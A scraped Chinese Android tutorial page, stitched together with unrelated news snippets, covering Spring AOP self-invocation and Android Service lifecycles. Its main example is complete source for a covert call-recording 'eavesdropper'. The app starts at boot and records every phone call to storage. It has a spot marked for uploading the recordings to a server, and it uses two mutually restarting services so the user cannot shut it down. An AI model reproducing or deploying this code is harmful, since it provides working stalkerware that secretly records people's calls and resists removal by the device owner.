<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
如果同一個service呼叫service本身的方法,出現了事務不能控制。
1.在spring組態檔中設定
<!-- expose-proxy service呼叫aop實現自身呼叫自身方法--> <aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>
2.在service中用 AopContext.currentProxy() 方法呼叫
例如呼叫myService的mySave方法:
((myService) AopContext.currentProxy()).mySave(myPojo);
生命週期如下:
onCreate()–> onStartCommand() —> onDestory();
如果服務已經開啟,不會重複的執行onCreate(), 而是會呼叫onStartCommand()。服務停止的時候呼叫onDestory()。服務只會被停止一次。
下面是一個電話竊聽器的範例:
在Manifest檔案中設定必要的許可權和元件。設定一個監聽開機的廣播接收者。
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <service android:name="com.itheima.phonelistener.SystemService" > </service> <service android:name="com.itheima.phonelistener.SystemService2" > </service> <receiver android:name="com.itheima.phonelistener.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver>
BootReceiver.java
監聽開機事件。
public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } }
SystemService.java
兩個Service類中的一個。兩個類採用迴圈呼叫機制,當其中一個Service被destroy時,系統呼叫另一個Service。這樣起到了防止使用者關閉的流氓效果。
public class SystemService extends Service { // 電話管理器 private TelephonyManager tm; // 監聽器物件 private MyListener listener; //宣告錄音機 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服務建立的時候呼叫的方法 @Override public void onCreate() { // 後臺監聽電話的呼叫狀態。 // 得到電話管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 當電話的呼叫狀態發生變化的時候呼叫的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空閒狀態。 if(mediaRecorder!=null){ //8.停止捕獲 mediaRecorder.stop(); //9.釋放資源 mediaRecorder.release(); mediaRecorder = null; System.out.println("錄製完畢,上傳檔案到伺服器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零響狀態。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態 //開始錄音 //1.範例化一個錄音機 mediaRecorder = new MediaRecorder(); //2.指定錄音機的聲音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.設定錄製的檔案輸出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定錄音檔案的名稱 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.設定音訊的編碼 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.準備開始錄音 mediaRecorder.prepare(); //7.開始錄音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服務銷燬的時候呼叫的方法 @Override public void onDestroy() { super.onDestroy(); // 取消電話的監聽 System.out.println("ondestory"); Intent i = new Intent(this,SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; } }
MainActivity.java
控制Service的開啟和關閉。
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void start(View view){ //開啟服務。 Intent intent = new Intent(this,SystemService.class); startService(intent); } public void stop(View view){ //停止服務。 Intent intent = new Intent(this,SystemService.class); stopService(intent); } }
用繫結方式開啟的Service,其生命週期為:onCreate() —>onBind();—>onunbind()–>onDestory(); 沒有onStartCommand。
步驟:
1. 服務要暴露方法,必須在Service中定義一個內部類——中間人MiddlePerson,實現定義好的介面中的方法(callMethodInService,用於呼叫Service中的某方法)。
2. 實現服務成功繫結的程式碼(onBind方法),返回一箇中間人new MiddlePerson()。
3. 在Activity中的bind()方法中採用bindService方法開啟服務。
Intent intent = new Intent(this, MyService.class); conn = new MyConn(); bindService(intent, conn, BIND_AUTO_CREATE);
4. 當服務被連線或失去連線時,分別實現ServiceConnection介面中的onServiceConnected()和onServiceDisconnected()方法。
5. 最後就可以通過中間人呼叫服務裡面的方法了。
mp.callMethodInService(55);
MainActivity.java
public class MyService extends Service { //2.實現服務成功繫結的程式碼 ,返回一箇中間人。 @Override public IBinder onBind(Intent arg0) { System.out.println("服務被成功繫結了。。。。"); return new MiddlePerson(); } @Override public boolean onUnbind(Intent intent) { System.out.println("onunbind"); return super.onUnbind(intent); } @Override public void onCreate() { System.out.println("oncreate"); super.onCreate(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { System.out.println("onstartcommand"); return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { System.out.println("ondestory"); super.onDestroy(); } /** * 這是服務裡面的一個方法 */ public void methodInService(){ Toast.makeText(this, "哈哈,服務給你辦好了暫住證。", 0).show(); } //1.第一步服務要暴露方法 必須要有一箇中間人 private class MiddlePerson extends Binder implements IMiddlePerson{ /** * 代辦暫住證 * @param money 給錢 50塊錢以上才給辦。 */ public void callMethodInService(int money){ if(money>=50){ methodInService(); }else{ Toast.makeText(getApplicationContext(), "多準備點錢。", 0).show(); } } /** * 陪領導打麻將 */ public void playMajiang(){ System.out.println("陪領導打麻將。"); } } }
start
方式開啟服務,一旦服務開啟,就和呼叫者(Activity)沒有任何關係了。開啟者退出後,如果開啟者掛掉,服務還在後臺長期的執行。而且開啟者沒有辦法去呼叫服務裡面的方法。bind
方式開啟服務,一旦呼叫者掛掉,服務也會跟著掛掉。不求同時生,但求同時死。而且開啟者可以呼叫服務裡面的方法。以上為個人經驗,希望能給大家一個參考,也希望大家多多支援it145.com。
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45